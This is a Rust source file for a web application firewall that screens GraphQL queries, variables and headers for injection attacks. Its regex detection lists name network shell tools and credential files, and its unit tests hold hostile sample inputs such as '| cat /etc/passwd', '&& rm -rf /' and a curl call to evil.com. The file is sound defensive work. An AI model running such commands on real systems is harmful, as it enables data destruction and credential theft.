//! Web Application Firewall (WAF) Middleware
//!
//! Provides SQL Injection (SQLi), XSS, and NoSQL Injection detection and prevention by inspecting
//! GraphQL variables and arguments for common malicious patterns.

use crate::error::{Error, Result};
use crate::middleware::{Context, Middleware};
use regex::Regex;
use std::sync::OnceLock;

/// Common SQL injection patterns
///
/// Ref: OWASP SQL Injection Prevention Cheat Sheet
/// Common SQL injection patterns
///
/// Ref: OWASP SQL Injection Prevention Cheat Sheet & payload lists
const SQLI_PATTERNS: &[&str] = &[
    // Union-based
    r"(?i)union\s+(all\s+)?select",
    r"(?i)union\s+distinct\s+select",
    // Error-based / Stacked queries / Blind
    r"(?i);\s*drop\s+table",
    r"(?i);\s*insert\s+into",
    r"(?i);\s*update\s+.*\s+set",
    r"(?i);\s*delete\s+from",
    r"(?i);\s*alter\s+table",
    r"(?i);\s*create\s+table",
    r"(?i);\s*truncate\s+table",
    r"(?i);\s*merge\s+into",
    r"(?i);\s*declare\s+",
    r"(?i);\s*shutdown",
    r"(?i)waitfor\s+delay",
    r"(?i)pg_sleep\(",
    r"(?i)benchmark\(",
    r"(?i)sleep\(",
    r"(?i)exec(\s|\()",
    r"(?i)execute\s+immediate",
    r"(?i)into\s+outfile",
    r"(?i)into\s+dumpfile",
    r"(?i)load_file\(",
    r"(?i)information_schema",
    r"(?i)sys\.user_objects",
    r"(?i)sys\.objects",
    r"(?i)xp_cmdshell",
    // Boolean-based (blind)
    r"(?i)or\s+1\s*=\s*1",
    r"(?i)or\s+'1'\s*=\s*'1'",
    r"(?i)'\s+or\s+'",
    r"(?i)or\s+true\s*--",
    r"(?i)'\s+or\s+true",
    r#"(?i)"\s+or\s+true"#,
    r"(?i)and\s+1\s*=\s*1",
    r"(?i)\)\s*or\s+\(",
    // Comment injection
    r"--",
    r"(?s)/\*.*\*/", // (?s) enables dot matches newline
    r"(?i)#\s",      // MySQL comment
    r"(?i);\s*--",
    // Hex encoded patterns often used in SQLi
    r"0x[0-9a-fA-F]+",
    // Functions
    r"(?i)version\(\)",
    r"(?i)database\(\)",
    r"(?i)user\(\)",
    r"(?i)current_user",
    r"(?i)system_user",
    r"(?i)session_user",
    r"(?i)@@version",
    r"(?i)char\(\d+\)",
    r"(?i)ascii\(",
    r"(?i)substring\(",
];

/// Common XSS patterns
///
/// Ref: OWASP XSS Prevention Cheat Sheet
const XSS_PATTERNS: &[&str] = &[
    r"(?i)<script.*?>.*?</script>",
    r"(?i)<script",
    r"(?i)</script>",
    r"(?i)javascript:",
    r"(?i)vbscript:",
    r"(?i)livescript:",
    r"(?i)data:text/html",
    r"(?i)data:text/xml",
    r"(?i)data:image/svg\+xml",
    // Event handlers
    r"(?i)on(load|error|click|mouseover|mouseout|focus|blur|change|submit|dblclick|keydown|keypress|keyup|mousedown|mouseup|contextmenu|abort|afterprint|animationend|animationiteration|animationstart|beforeprint|beforeunload|canplay|canplaythrough|drag|dragend|dragenter|dragleave|dragover|dragstart|drop|durationchange|ended|fullscreenchange|fullscreenerror|input|invalid|loadeddata|loadedmetadata|loadstart|message|offline|online|open|pagehide|pageshow|pause|play|playing|popstate|progress|ratechange|reset|resize|scroll|seeked|seeking|select|show|stalled|storage|suspend|timeupdate|toggle|touchcancel|touchend|touchmove|touchstart|transitionend|unload|volumechange|waiting|wheel)\s*=",
    // Dangerous tags
    r"(?i)<(iframe|object|embed|svg|applet|meta|link|style|form|input|button|base|body|head|html|marquee|blink|frameset|video|audio|details|dialog|menu|picture|source|track|canvas|map|area)",
    r"(?i)</(iframe|object|embed|svg|applet|meta|link|style|form|input|button|base|body|head|html|marquee|blink|frameset|video|audio|details|dialog|menu|picture|source|track|canvas|map|area)",
    // Attributes
    r#"(?i)href\s*=\s*['"]?javascript:"#,
    r#"(?i)src\s*=\s*['"]?javascript:"#,
    r#"(?i)xlink:href"#,
    r#"(?i)fscommand"#,
    r#"(?i)seeksegmenttime"#,
    r#"(?i)br"#,                             // often used to break out of attributes
    r#"(?i)style\s*=\s*['"].*expression\("#, // IE expression
    r#"(?i)style\s*=\s*['"].*url\("#,
];

/// Common NoSQL injection patterns (MongoDB focus)
const NOSQLI_PATTERNS: &[&str] = &[
    r"(?i)\$where",
    r"(?i)\$ne",
    r"(?i)\$gt",
    r"(?i)\$gte",
    r"(?i)\$lt",
    r"(?i)\$lte",
    r"(?i)\$in",
    r"(?i)\$nin",
    r"(?i)\$regex",
    r"(?i)\$exists",
    r"(?i)\$or",
    r"(?i)\$and",
    r"(?i)\$not",
    r"(?i)\$nor",
    r"(?i)\$jsonSchema",
    r"(?i)\$expr",
    r"(?i)\$mod",
    r"(?i)\$all",
    r"(?i)\$size",
    r"(?i)\$type",
    r"(?i)\$elemMatch",
    r"(?i)\$slice",
    r"(?i)\$text",
    r"(?i)\$search",
    r"(?i)new\s+Date\(", // Server side JS execution
    r"(?i)this\.",
    r"(?i)function\(",
];

/// Command Injection patterns (OS Command Injection)
///
/// NOTE: We intentionally exclude `\n` (newline) and `$` from the separator
/// group because they cause false positives in GraphQL queries:
///   - `\n` is normal multi-line formatting (e.g. `{\n  id\n  message\n}`)
///   - `$` is the GraphQL variable prefix (e.g. `$id`, `$name`)
///     We also use word boundary `\b` after the command name to avoid partial
///     matches (e.g. "identity" should not trigger on "id").
const CMDI_PATTERNS: &[&str] = &[
    // Separators with commands — only real shell metacharacters
    r"(?i)(;|\||\|\||&|&&|`)\s*\b(ls|cat|rm|mv|cp|echo|wget|curl|ping|nc|netcat|nmap|whoami|id|pwd|grep|awk|sed|tar|zip|unzip|python|perl|ruby|gcc|make|kill|sudo|su|ssh|scp|ftp|telnet|dig|nslookup|ifconfig|ip|route|ps|top|free|df|du|uname|hostname|env|export|alias|declare|mount|umount|chmod|chown|chgrp|touch|mkdir|rmdir)\b",
    // Specific constructs
    r"(?i)\$(?:\(|`)[^`)]+(?:\)|`)", // $(...) or `...`
    r"(?i)/bin/sh",
    r"(?i)/bin/bash",
    r"(?i)/bin/zsh",
    r"(?i)/usr/bin/",
    r"(?i)cmd\.exe",
    r"(?i)powershell",
    r"(?i)pwsh",
    r"(?i)bash\s+-i",
    r"(?i)sh\s+-i",
];

/// Path Traversal patterns (LFI/RFI)
const TRAVERSAL_PATTERNS: &[&str] = &[
    r"\.\./",
    r"\.\.\\",
    r"\.\.%2f",
    r"\.\.%5c",
    r"%2e%2e%2f",
    r"%2e%2e/",
    r"\.\./\.\./",
    r"(?i)/etc/passwd",
    r"(?i)/etc/shadow",
    r"(?i)/etc/group",
    r"(?i)/etc/hosts",
    r"(?i)/etc/issue",
    r"(?i)/proc/self/environ",
    r"(?i)/proc/self/cmdline",
    r"(?i)c:\\windows",
    r"(?i)c:\\winnt",
    r"(?i)boot\.ini",
    r"(?i)system32",
    r"(?i)\\windows\\",
];

/// LDAP Injection patterns
const LDAP_PATTERNS: &[&str] = &[
    r"\*\(",
    r"\)\*",
    r"\(&",
    r"\|&",
    r"\(!",
    r"\)\(",
    r"user\s*=\s*\*",
    r"admin\s*=\s*\*",
];

/// Server Side Template Injection (SSTI) patterns
/// SECURITY: Patterns require actual template syntax (e.g. executable expressions)
/// to avoid false positives on legitimate variables containing `{{placeholder}}`.
const SSTI_PATTERNS: &[&str] = &[
    r"\{\{\s*[a-zA-Z_].*\}\}", // Moustache/Handlebars/Jinja/etc — require identifier start
    r"\$\{[^}]*[a-zA-Z_][^}]*\}", // EL — require identifier content
    r"<%=",                     // ERB/JSP
    r"#\{[^}]*[a-zA-Z_][^}]*\}", // Ruby
    r"\*\{[^}]*[a-zA-Z_][^}]*\}",
    r"\[\[.*\]\]",             // Flask/Jinja2 alternative
    r"\{\%.*\%\}",
];

/// Compiled regex for SQLi detection
fn sqli_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = SQLI_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid SQLi regex pattern")
    })
}

/// Compiled regex for XSS detection
fn xss_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = XSS_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid XSS regex pattern")
    })
}

/// Compiled regex for NoSQLi detection
fn nosqli_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = NOSQLI_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid NoSQLi regex pattern")
    })
}

/// Compiled regex for CMDI detection
fn cmdi_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = CMDI_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid CMDI regex pattern")
    })
}

/// Compiled regex for Traversal detection
fn traversal_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = TRAVERSAL_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid Traversal regex pattern")
    })
}

/// Compiled regex for LDAP injection detection
fn ldap_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = LDAP_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid LDAP regex pattern")
    })
}

/// Compiled regex for SSTI detection
fn ssti_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        let pattern = SSTI_PATTERNS.join("|");
        Regex::new(&pattern).expect("Invalid SSTI regex pattern")
    })
}

/// Compiled regex for Batched Query (deep alias) detection
fn batched_query_regex() -> &'static Regex {
    static REGEX: OnceLock<Regex> = OnceLock::new();
    REGEX.get_or_init(|| {
        // Look for occurrences of word: word( or word: word{
        // that are repeated more than 30 times in the whole query string.
        // We do this by capturing the alias signature and we'll check counts manually,
        // but for Regex level, we just block if we see too many alias signatures overall.
        Regex::new(r"(?is)([a-zA-Z0-9_]+\s*:\s*[a-zA-Z0-9_]+\s*[(\{].*?){30,}")
            .expect("Invalid BatchedQuery regex pattern")
    })
}

/// WAF Configuration
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct WafConfig {
    #[serde(default = "default_true")]
    pub enabled: bool,
    #[serde(default = "default_true")]
    pub block_sqli: bool,
    #[serde(default = "default_true")]
    pub block_xss: bool,
    #[serde(default = "default_true")]
    pub block_nosqli: bool,
    #[serde(default = "default_true")]
    pub block_cmdi: bool,
    #[serde(default = "default_true")]
    pub block_traversal: bool,
    #[serde(default = "default_true")]
    pub block_ldap: bool,
    #[serde(default = "default_true")]
    pub block_ssti: bool,
    #[serde(default = "default_true")]
    pub block_batched_query: bool,
    /// Optional custom regex patterns supplied by the user.
    /// Each pattern is treated as an independent rule; they are OR‑combined.
    #[serde(default)]
    pub custom_patterns: Vec<String>,
}

fn default_true() -> bool {
    true
}

impl Default for WafConfig {
    fn default() -> Self {
        Self {
            enabled: true,
            block_sqli: true,
            block_xss: true,
            block_nosqli: true,
            block_cmdi: true,
            block_traversal: true,
            block_ldap: true,
            block_ssti: true,
            block_batched_query: true,
            custom_patterns: Vec::new(),
        }
    }
}

/// WAF Middleware
///
/// Intercepts requests and validates input variables against malicious patterns.
/// Custom regex patterns are pre-compiled at construction time to avoid
/// per-request compilation overhead and ReDoS from malformed patterns.
pub struct WafMiddleware {
    pub config: WafConfig,
    /// Pre-compiled custom regex patterns (compiled once at construction)
    compiled_custom_patterns: Vec<(String, Regex)>,
}

impl WafMiddleware {
    pub fn new(config: WafConfig) -> Self {
        let compiled_custom_patterns = config
            .custom_patterns
            .iter()
            .filter_map(|pat| match Regex::new(pat) {
                Ok(re) => Some((pat.clone(), re)),
                Err(e) => {
                    tracing::warn!(pattern = %pat, error = %e, "Failed to compile custom WAF pattern, skipping");
                    None
                }
            })
            .collect();
        Self {
            config,
            compiled_custom_patterns,
        }
    }
}

impl Default for WafMiddleware {
    fn default() -> Self {
        Self::new(WafConfig::default())
    }
}

/// Recursively inspect JSON values for malicious patterns
pub fn validate_json(value: &serde_json::Value) -> Result<()> {
    // Default to full protection when called directly
    validate_json_with_config(value, &WafConfig::default())
}

pub fn validate_json_with_config(value: &serde_json::Value, config: &WafConfig) -> Result<()> {
    if !config.enabled {
        return Ok(());
    }

    if config.block_sqli {
        if let Some(matched) = check_pattern(value, sqli_regex()) {
            tracing::warn!(match_val = %matched, "SQL Injection attempt detected");
            return Err(Error::Validation(format!(
                "Potential SQL Injection detected: {}",
                matched
            )));
        }
    }

    if config.block_xss {
        if let Some(matched) = check_pattern(value, xss_regex()) {
            tracing::warn!(match_val = %matched, "XSS attempt detected");
            return Err(Error::Validation(format!(
                "Potential XSS detected: {}",
                matched
            )));
        }
    }

    if config.block_nosqli {
        // NoSQLi often uses special keys in JSON objects (e.g. {"$ne": ...})
        // We need a specific check for keys as well for strict NoSQLi protection
        if let Some(matched) = check_keys(value, nosqli_regex()) {
            tracing::warn!(match_val = %matched, "NoSQL Injection attempt detected in keys");
            return Err(Error::Validation(format!(
                "Potential NoSQL Injection detected: {}",
                matched
            )));
        }
        // Also check values
        if let Some(matched) = check_pattern(value, nosqli_regex()) {
            tracing::warn!(match_val = %matched, "NoSQL Injection attempt detected");
            return Err(Error::Validation(format!(
                "Potential NoSQL Injection detected: {}",
                matched
            )));
        }
    }

    if config.block_cmdi {
        if let Some(matched) = check_pattern(value, cmdi_regex()) {
            tracing::warn!(match_val = %matched, "Command Injection attempt detected");
            return Err(Error::Validation(format!(
                "Potential Command Injection detected: {}",
                matched
            )));
        }
    }

    if config.block_traversal {
        if let Some(matched) = check_pattern(value, traversal_regex()) {
            tracing::warn!(match_val = %matched, "Path Traversal attempt detected");
            return Err(Error::Validation(format!(
                "Potential Path Traversal detected: {}",
                matched
            )));
        }
    }

    if config.block_ldap {
        if let Some(matched) = check_pattern(value, ldap_regex()) {
            tracing::warn!(match_val = %matched, "LDAP Injection attempt detected");
            return Err(Error::Validation(format!(
                "Potential LDAP Injection detected: {}",
                matched
            )));
        }
    }

    if config.block_ssti {
        if let Some(matched) = check_pattern(value, ssti_regex()) {
            tracing::warn!(match_val = %matched, "SSTI attempt detected");
            return Err(Error::Validation(format!(
                "Potential SSTI detected: {}",
                matched
            )));
        }
    }

    // Custom user‑provided patterns (applied recursively to all string values)
    if !config.custom_patterns.is_empty() {
        if let Some(pat) = check_custom_recursive(value, &config.custom_patterns) {
            tracing::warn!(match_val = %pat, "Custom WAF pattern matched");
            return Err(Error::Validation(format!(
                "Custom WAF rule triggered: {}",
                pat
            )));
        }
    }

    Ok(())
}

/// Recursively inspect JSON values for pattern matches
fn check_pattern(value: &serde_json::Value, regex: &Regex) -> Option<String> {
    match value {
        serde_json::Value::String(s) => {
            if regex.is_match(s) {
                return Some(s.clone());
            }
        }
        serde_json::Value::Array(arr) => {
            for v in arr {
                if let Some(s) = check_pattern(v, regex) {
                    return Some(s);
                }
            }
        }
        serde_json::Value::Object(map) => {
            for v in map.values() {
                if let Some(s) = check_pattern(v, regex) {
                    return Some(s);
                }
            }
        }
        _ => {}
    }
    None
}

/// Recursively inspect JSON keys for pattern matches (important for NoSQLi)
fn check_keys(value: &serde_json::Value, regex: &Regex) -> Option<String> {
    match value {
        serde_json::Value::Object(map) => {
            for (k, v) in map {
                if regex.is_match(k) {
                    return Some(k.clone());
                }
                if let Some(s) = check_keys(v, regex) {
                    return Some(s);
                }
            }
        }
        serde_json::Value::Array(arr) => {
            for v in arr {
                if let Some(s) = check_keys(v, regex) {
                    return Some(s);
                }
            }
        }
        _ => {}
    }
    None
}

/// Helper to evaluate user‑provided custom patterns.
/// Returns the first matching pattern string, if any.
/// SECURITY: Patterns are compiled per-call (use WafMiddleware for pre-compiled version).
fn check_custom(value: &str, patterns: &[String]) -> Option<String> {
    for pat in patterns {
        if let Ok(re) = Regex::new(pat) {
            if re.is_match(value) {
                return Some(pat.clone());
            }
        }
    }
    None
}

/// Recursively inspect JSON values for custom pattern matches.
/// Unlike the original `check_custom`, this walks into Objects and Arrays.
fn check_custom_recursive(value: &serde_json::Value, patterns: &[String]) -> Option<String> {
    match value {
        serde_json::Value::String(s) => check_custom(s, patterns),
        serde_json::Value::Array(arr) => {
            for v in arr {
                if let Some(pat) = check_custom_recursive(v, patterns) {
                    return Some(pat);
                }
            }
            None
        }
        serde_json::Value::Object(map) => {
            for v in map.values() {
                if let Some(pat) = check_custom_recursive(v, patterns) {
                    return Some(pat);
                }
            }
            None
        }
        _ => None,
    }
}

#[async_trait::async_trait]
impl Middleware for WafMiddleware {
    async fn call(&self, ctx: &mut Context) -> Result<()> {
        if !self.config.enabled {
            return Ok(());
        }

        for (name, value) in &ctx.headers {
            if let Ok(value_str) = value.to_str() {
                if self.config.block_sqli && sqli_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "SQL Injection attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential SQL Injection detected in header: {}",
                        name
                    )));
                }
                if self.config.block_xss && xss_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "XSS attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential XSS detected in header: {}",
                        name
                    )));
                }
                if self.config.block_nosqli && nosqli_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "NoSQL Injection attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential NoSQL Injection detected in header: {}",
                        name
                    )));
                }
                if self.config.block_cmdi && cmdi_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "Command Injection attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential Command Injection detected in header: {}",
                        name
                    )));
                }
                if self.config.block_traversal && traversal_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "Path Traversal attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential Path Traversal detected in header: {}",
                        name
                    )));
                }
                if self.config.block_ldap && ldap_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "LDAP Injection attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential LDAP Injection detected in header: {}",
                        name
                    )));
                }
                if self.config.block_ssti && ssti_regex().is_match(value_str) {
                    tracing::warn!(header = ?name, match_val = value_str, "SSTI attempt detected in headers");
                    return Err(Error::Validation(format!(
                        "Potential SSTI detected in header: {}",
                        name
                    )));
                }
                // Custom patterns on header values (use pre-compiled patterns)
                for (pat_str, compiled_re) in &self.compiled_custom_patterns {
                    if compiled_re.is_match(value_str) {
                        tracing::warn!(header = ?name, match_val = pat_str, "Custom WAF pattern matched in header");
                        return Err(Error::Validation(format!(
                            "Custom WAF rule triggered in header {}: {}",
                            name, pat_str
                        )));
                    }
                }
            }
        }
        Ok(())
    }

    fn name(&self) -> &'static str {
        "WafMiddleware"
    }
}

/// Validate GraphQL request against WAF rules using default config
pub fn validate_request(req: &async_graphql::Request) -> Result<()> {
    // Check variables
    let vars = serde_json::to_value(&req.variables).unwrap_or(serde_json::Value::Null);
    validate_json(&vars)?;

    // Check query string for basic signatures
    if sqli_regex().is_match(&req.query) {
        tracing::warn!("SQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential SQL Injection detected".to_string(),
        ));
    }
    // XSS in query string?
    if xss_regex().is_match(&req.query) {
        tracing::warn!("XSS attempt detected in query string");
        return Err(Error::Validation("Potential XSS detected".to_string()));
    }
    // NoSQLi in query string? less likely in standard GQL syntax but possible in directives
    if nosqli_regex().is_match(&req.query) {
        tracing::warn!("NoSQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential NoSQL Injection detected".to_string(),
        ));
    }
    // Command Injection in query string?
    if cmdi_regex().is_match(&req.query) {
        tracing::warn!("Command Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential Command Injection detected".to_string(),
        ));
    }
    // Path Traversal in query string?
    if traversal_regex().is_match(&req.query) {
        tracing::warn!("Path Traversal attempt detected in query string");
        return Err(Error::Validation(
            "Potential Path Traversal detected".to_string(),
        ));
    }
    // LDAP Injection in query string?
    if ldap_regex().is_match(&req.query) {
        tracing::warn!("LDAP Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential LDAP Injection detected".to_string(),
        ));
    }
    // SSTI in query string?
    if ssti_regex().is_match(&req.query) {
        tracing::warn!("SSTI attempt detected in query string");
        return Err(Error::Validation("Potential SSTI detected".to_string()));
    }
    // Deep recursive alias injection / Batched Query in query string?
    if batched_query_regex().is_match(&req.query) {
        tracing::warn!("Batched Query (deep alias) attempt detected in query string");
        return Err(Error::Validation(
            "Potential Batched Query Server DOS detected".to_string(),
        ));
    }

    Ok(())
}

/// Validate raw query and variables against WAF rules
pub fn validate_raw(
    query: &str,
    variables: Option<&serde_json::Value>,
    config: &WafConfig,
) -> Result<()> {
    if !config.enabled {
        return Ok(());
    }

    // Check query string
    if config.block_sqli && sqli_regex().is_match(query) {
        tracing::warn!("SQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential SQL Injection detected".to_string(),
        ));
    }
    if config.block_xss && xss_regex().is_match(query) {
        tracing::warn!("XSS attempt detected in query string");
        return Err(Error::Validation("Potential XSS detected".to_string()));
    }
    if config.block_nosqli && nosqli_regex().is_match(query) {
        tracing::warn!("NoSQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential NoSQL Injection detected".to_string(),
        ));
    }
    if config.block_cmdi && cmdi_regex().is_match(query) {
        tracing::warn!("Command Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential Command Injection detected".to_string(),
        ));
    }
    if config.block_traversal && traversal_regex().is_match(query) {
        tracing::warn!("Path Traversal attempt detected in query string");
        return Err(Error::Validation(
            "Potential Path Traversal detected".to_string(),
        ));
    }
    if config.block_ldap && ldap_regex().is_match(query) {
        tracing::warn!("LDAP Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential LDAP Injection detected".to_string(),
        ));
    }
    if config.block_ssti && ssti_regex().is_match(query) {
        tracing::warn!("SSTI attempt detected in query string");
        return Err(Error::Validation("Potential SSTI detected".to_string()));
    }
    if config.block_batched_query && batched_query_regex().is_match(query) {
        tracing::warn!("Batched Query (deep alias) attempt detected in query string");
        return Err(Error::Validation(
            "Potential Batched Query Server DOS detected".to_string(),
        ));
    }

    // Check variables
    if let Some(vars) = variables {
        validate_json_with_config(vars, config)?;
    }

    Ok(())
}

/// Check for introspection queries
pub fn is_introspection(query: &str) -> bool {
    query.contains("__schema") || query.contains("__type")
}

/// Validate HTTP headers against WAF rules
pub fn validate_headers(headers: &http::HeaderMap, config: &WafConfig) -> Result<()> {
    if !config.enabled {
        return Ok(());
    }

    for (name, value) in headers {
        if let Ok(value_str) = value.to_str() {
            if config.block_sqli && sqli_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "SQL Injection attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential SQL Injection detected in header: {:?}",
                    name
                )));
            }
            if config.block_xss && xss_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "XSS attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential XSS detected in header: {:?}",
                    name
                )));
            }
            if config.block_nosqli && nosqli_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "NoSQL Injection attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential NoSQL Injection detected in header: {:?}",
                    name
                )));
            }
            if config.block_cmdi && cmdi_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "Command Injection attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential Command Injection detected in header: {:?}",
                    name
                )));
            }
            if config.block_traversal && traversal_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "Path Traversal attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential Path Traversal detected in header: {:?}",
                    name
                )));
            }
            if config.block_ldap && ldap_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "LDAP Injection attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential LDAP Injection detected in header: {:?}",
                    name
                )));
            }
            if config.block_ssti && ssti_regex().is_match(value_str) {
                tracing::warn!(header = ?name, match_val = value_str, "SSTI attempt detected in headers");
                return Err(Error::Validation(format!(
                    "Potential SSTI detected in header: {:?}",
                    name
                )));
            }
        }
    }
    Ok(())
}

/// Validate a query string specifically
pub fn validate_query_string(query: &str, config: &WafConfig) -> Result<()> {
    if !config.enabled {
        return Ok(());
    }

    if config.block_sqli && sqli_regex().is_match(query) {
        tracing::warn!("SQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential SQL Injection detected".to_string(),
        ));
    }
    if config.block_xss && xss_regex().is_match(query) {
        tracing::warn!("XSS attempt detected in query string");
        return Err(Error::Validation("Potential XSS detected".to_string()));
    }
    if config.block_nosqli && nosqli_regex().is_match(query) {
        tracing::warn!("NoSQL Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential NoSQL Injection detected".to_string(),
        ));
    }
    if config.block_cmdi && cmdi_regex().is_match(query) {
        tracing::warn!("Command Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential Command Injection detected".to_string(),
        ));
    }
    if config.block_traversal && traversal_regex().is_match(query) {
        tracing::warn!("Path Traversal attempt detected in query string");
        return Err(Error::Validation(
            "Potential Path Traversal detected".to_string(),
        ));
    }
    if config.block_ldap && ldap_regex().is_match(query) {
        tracing::warn!("LDAP Injection attempt detected in query string");
        return Err(Error::Validation(
            "Potential LDAP Injection detected".to_string(),
        ));
    }
    if config.block_ssti && ssti_regex().is_match(query) {
        tracing::warn!("SSTI attempt detected in query string");
        return Err(Error::Validation("Potential SSTI detected".to_string()));
    }
    if config.block_batched_query && batched_query_regex().is_match(query) {
        tracing::warn!("Batched Query (deep alias) attempt detected in query string");
        return Err(Error::Validation(
            "Potential Batched Query Server DOS detected".to_string(),
        ));
    }
    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;

    /// Regression test for https://github.com/Protocol-Lattice/grpc_graphql_gateway/issues/67
    /// `id` (and other short command names) must NOT trigger CMDI detection
    /// when used as normal GraphQL field names.
    #[test]
    fn test_cmdi_no_false_positive_on_id_field() {
        let queries = vec![
            // Inline query with `id`
            r#"query Test { hello(name: "rawr") { id message } }"#,
            // Multi-line query (the original failing case)
            "query Test {\n  hello(name: \"rawr\") {\n    id\n    message\n  }\n}",
            // `id` as an argument
            r#"{ node(id: "123") { ... on User { id name } } }"#,
            // `id` as a GraphQL variable
            r#"query($id: ID!) { user(id: $id) { id name } }"#,
            // Multiple short command-name-like fields
            "{ system { id ip hostname env } }",
            // Entity with `id` key
            r#"{ _entities(representations: [{__typename: "User", id: "1"}]) { ... on User { id } } }"#,
        ];

        let config = WafConfig::default();
        for query in &queries {
            let result = validate_raw(query, None, &config);
            assert!(
                result.is_ok(),
                "False positive CMDI on query: {}",
                query.replace('\n', "\\n")
            );
        }
    }

    /// Verify that real command injection attempts are still caught.
    #[test]
    fn test_cmdi_catches_real_attacks() {
        let attacks = vec![
            "; whoami",
            "| cat /etc/passwd",
            "&& rm -rf /",
            "|| id",
            "; ls",
            "` whoami `",
            "& curl http://evil.com",
            "/bin/sh",
            "/bin/bash",
            "powershell",
            "$(whoami)",
        ];

        let config = WafConfig::default();
        for attack in &attacks {
            let result = validate_raw(attack, None, &config);
            assert!(result.is_err(), "Missed real CMDI attack: {}", attack);
        }
    }

    /// Verify that `id`-like words inside longer identifiers don't trigger.
    #[test]
    fn test_cmdi_no_match_on_partial_words() {
        let queries = vec![
            "{ user { identity provider } }",
            "{ widget { uuid } }",
            "{ order { productId } }",
            "{ config { endpoint } }",
        ];

        let config = WafConfig::default();
        for query in &queries {
            let result = validate_raw(query, None, &config);
            assert!(
                result.is_ok(),
                "False positive CMDI on partial word in query: {}",
                query
            );
        }
    }

    /// Verify that deep recursive aliases are blocked
    #[test]
    fn test_batched_query_catch() {
        // Construct a malicious payload string with 35 consecutive aliases
        // e.g. "a1: node(id:1) { id } a2: node(id:2) { id } ..."
        let mut malicious_query = String::from("query Malicious { ");
        for i in 0..35 {
            malicious_query.push_str(&format!("alias{}: node(id: \"{}\") {{ id }} ", i, i));
        }
        malicious_query.push('}');

        let config = WafConfig::default();
        let result = validate_raw(&malicious_query, None, &config);

        // Should catch the malicious alias pattern
        assert!(
            result.is_err(),
            "Missed Batched Query DOS attack: {}",
            malicious_query
        );

        // A normal query with only 5 aliases should easily pass
        let mut normal_query = String::from("query Normal { ");
        for i in 0..5 {
            normal_query.push_str(&format!("alias{}: node(id: \"{}\") {{ id }} ", i, i));
        }
        normal_query.push('}');
        let result_normal = validate_raw(&normal_query, None, &config);

        assert!(
            result_normal.is_ok(),
            "False positive on normal alias query: {}",
            normal_query
        );
    }
}
